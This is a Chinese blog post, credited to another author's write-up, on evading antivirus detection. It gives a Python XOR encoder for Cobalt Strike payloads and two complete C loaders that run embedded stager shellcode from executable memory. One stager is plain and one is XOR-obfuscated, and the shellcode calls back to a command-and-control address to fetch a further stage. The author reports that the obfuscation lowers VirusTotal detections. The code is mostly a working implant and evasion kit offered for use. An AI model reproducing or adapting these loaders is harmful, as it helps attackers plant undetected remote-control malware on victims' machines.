zoukankan      html  css  js  c++  java
  • 静态恶意代码逃逸-学习一

    申明:

    本文非原创 学习自:
    https://payloads.online/archivers/2019-11-10/1

    0X01定义恶意代码

    这里我们以cs载荷为例子

    0X02 shellcode的定义

    Shellcode是一段机器指令的集合,通常会被压缩至很小的长度,达到为后续恶意代码铺垫的作用。当然你可以通过msfvenom生成各种用于测试的shellcode。

    0x03RAW文件

    RAW 中文意思是原始的、未经加工的,通常使用Cobaltstrike生成的BIN文件。

    RAW文件是可以直接进行字节操作读取的,因此加载到内存较为方便,通常我一般使用混淆的方式再生成一遍。

    0X04C文件

     C文件给出的是一个C语言中的字符数组,也是可以通过以字节单位操作的。

     0X05组合

    由于反病毒软件对于默认生成的文件查杀较为严格,我通常会采用混淆、加密解密的方式把载荷还原。

    以下就是一个,用于把raw文件混淆,生成c语言数组的py代码
    import sys
    from argparse import ArgumentParser, FileType
    
    def process_bin(num, src_fp, dst_fp, dst_raw):
        shellcode = ''
        shellcode_size = 0
        shellcode_raw = b''
        try:
            while True:
                code = src_fp.read(1)
                if not code:
                    break
    
                base10 = ord(code) ^ num
                base10_str = chr(base10)
                shellcode_raw += base10_str.encode()
                code_hex = hex(base10)
                code_hex = code_hex.replace('0x','')
                if(len(code_hex) == 1):
                    code_hex = '0' + code_hex
                shellcode += '\x' + code_hex
                shellcode_size += 1
            src_fp.close()
            dst_raw.write(shellcode_raw)
            dst_raw.close()
            dst_fp.write(shellcode)
            dst_fp.close()
            return shellcode_size
        except Exception as e:
            sys.stderr.writelines(str(e))
    
    def main():
        parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] 	 > Author: rvn0xsy@gmail.com')
        parser.add_argument('-v','--version',nargs='?')
        parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
        parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
        parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
        parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
        args = parser.parse_args()
        shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
        sys.stdout.writelines("[+]Shellcode Size : {} 
    ".format(shellcode_size))
    
    if __name__ == "__main__":
        main()

    这里我们执行

    在payload.c中会看到raw文件里的每一个字节与10的异或运算出的C语言数组。

    python encode.py -s payload.bin  -d payloadbin.c -n 10 -r RAW

     静态恶意代码逃逸(第二课)

    0x01 关于Windows操作系统内存

    这里还是稍微展开介绍一下,Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。
    
    操作系统给予每个进程申请内存的权力,使用不同的API,申请的内存具有不同的涵义。
    
    在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。
    
    申请方式:
    
        HeapAlloc
        malloc
        VirtualAlloc
        new
        LocalAlloc
        …

    0x02 申请内存API的关系

    其实以上所有的内存申请方式都与VirtualAlloc有关,因为VirtualAlloc申请的单位是“页”。而Windows操作系统管理内存的单位也是“页”。

    0x03 实现一次正常加载

    这里用cs的shellcode演示

    #include <Windows.h>
    
    
    // 入口函数
    int wmain(int argc,TCHAR * argv[]){
    
        int shellcode_size = 0; // shellcode长度
        DWORD dwThreadId; // 线程ID
        HANDLE hThread; // 线程句柄
    /* length: 800 bytes */
    
    unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x90x1fx00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x60x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx6fx34x63x56x00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4dx41x54x50x3bx20x4dx41x54x50x29x0dx0ax00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x6cx6cx6fx00x68x65x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex31x2ex31x33x34x00x00x00x00x00";
    
    // 获取shellcode大小
    shellcode_size = sizeof(buf);
    
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */
    
    char * shellcode = (char *)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
        );
        // 将shellcode复制到可执行的内存页中
    CopyMemory(shellcode,buf,shellcode_size);
    
    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
        );
    
    WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
        return 0;
    }

    运行

    PS:倾旋大佬的exe但是就是16 然后现在是40几 看来很多杀软杀的不是技术 杀的是特征吧

    0x04 实现一次混淆加载

    使用之前的Python脚本混淆生成RAW文件,最后得到混淆后的数组:

    #include <Windows.h>
    
    
    // 入口函数
    int wmain(int argc,TCHAR * argv[]){
    
        int shellcode_size = 0; // shellcode长度
        DWORD dwThreadId; // 线程ID
        HANDLE hThread; // 线程句柄
    /* length: 800 bytes */
    
    unsigned char buf[] = "xf6xe2x83x0ax0ax0ax6ax83xefx3bxd8x6ex81x58x3ax81x58x06x81x58x1ex81x78x22x05xbdx40x2cx3bxf5x3bxcaxa6x36x6bx76x08x26x2axcbxc5x07x0bxcdxe8xfax58x5dx81x58x1ax81x48x36x0bxdax81x4ax72x8fxcax7ex40x0bxdax5ax81x42x12x81x52x2ax0bxd9xe9x36x43x81x3ex81x0bxdcx3bxf5x3bxcaxa6xcbxc5x07x0bxcdx32xeax7fxfex09x77xf2x31x77x2ex7fxe8x52x81x52x2ex0bxd9x6cx81x06x41x81x52x16x0bxd9x81x0ex81x0bxdax83x4ex2ex2ex51x51x6bx53x50x5bxf5xeax52x55x50x81x18xe1x8cx57x62x64x6fx7ex0ax62x7dx63x64x63x5ex62x46x7dx2cx0dxf5xdfx3bxf5x5dx5dx5dx5dx5dx62x30x5cx73xadxf5xdfxe3x8ex0ax0ax0ax51x3bxc3x5bx5bx60x09x5bx5bx62x9ax15x0ax0ax59x5ax62x5dx83x95xccxf5xdfxe1x7ax51x3bxd8x58x62x0ax08x6ax8ex58x58x58x59x58x5ax62xe1x5fx24x31xf5xdfx83xccx89xc9x5ax3bxf5x5dx5dx60xf5x59x5cx62x27x0cx12x71xf5xdfx8fxcax05x8exc9x0bx0ax0ax3bxf5x8fxfcx7ex0ex83xf3xe1x03x62xa0xcfxe8x57xf5xdfx83xcbx62x4fx2bx54x3bxf5xdfx3bxf5x5dx60x0dx5bx5cx5ax62xbdx5dxeax01xf5xdfxb5x0ax25x0ax0ax33xcdx7exbdx3bxf5xe3x9bx0bx0ax0axe3xc3x0bx0ax0axe2x81xf5xf5xf5x25x65x44x5ax45x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x0ax5fx79x6fx78x27x4bx6dx6fx64x7ex30x2ax47x65x70x63x66x66x6bx25x3fx24x3ax2ax22x69x65x67x7ax6bx7ex63x68x66x6fx31x2ax47x59x43x4fx2ax33x24x3ax31x2ax5dx63x64x6ex65x7dx79x2ax44x5ex2ax3cx24x3bx31x2ax5dx45x5dx3cx3ex31x2ax5ex78x63x6ex6fx64x7ex25x3fx24x3ax31x2ax47x4bx5ex5ax31x2ax47x4bx5ex5ax23x07x00x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx66x66x65x0ax62x6fx0ax62xfaxbfxa8x5cxf5xdfx60x4ax62x0ax1ax0ax0ax62x0ax0ax4ax0ax5dx62x52xaex59xefxf5xdfx99xb3x0ax0ax0ax0ax0bxd3x5bx59x83xedx5dx62x0ax2ax0ax0ax59x5cx62x18x9cx83xe8xf5xdfx8fxcax7exccx81x0dx0bxc9x8fxcax7fxefx52xc9xe2xa3xf7xf5xf5x3bx33x38x24x3bx3cx32x24x3bx24x3bx39x3ex0ax0ax0ax0ax0a";
    
    // 获取shellcode大小
    shellcode_size = sizeof(buf);
    
    /* 增加异或代码 */
    for(int i = 0;i<shellcode_size; i++){
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */
    
    char * shellcode = (char *)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
        );
        // 将shellcode复制到可执行的内存页中
    CopyMemory(shellcode,buf,shellcode_size);
    
    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
        );
    
    WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
        return 0;
    }

    上线效果

     V站查杀现在也还是只有4的查杀率

     https://www.virustotal.com/gui/file/04c0b02fdb725ea02d1da713bb784669bddc3c51ecfc391cdc86388890090361/details

    PSexec: 最近很浮躁 忘了最开始接触这个的初衷是什么
    
    愿少年接下来的日子里 潜心习安全 
    日积月累
  • 相关阅读:
    德才真值表
    Linaro公司基于GCC推出的的ARM交叉编译工具
    荣耀4CROOT 成功!附本人ROOT过程——KINGROOT
    batman-adv——B.A.T.M.A.N. Advanced quick start guide
    linux内核外部驱动模块编译报错ERROR—drivers/*.ko] undefined
    Linux Kernel and Driver Development Training——linux-kernel-slides
    华为手机——解锁步骤
    编译Linux内核—浅谈EABI和OABI
    Linux Kernel and Driver Development Training
    Android—Step by step
  • 原文地址:https://www.cnblogs.com/-zhong/p/13060380.html
Copyright © 2011-2022 走看看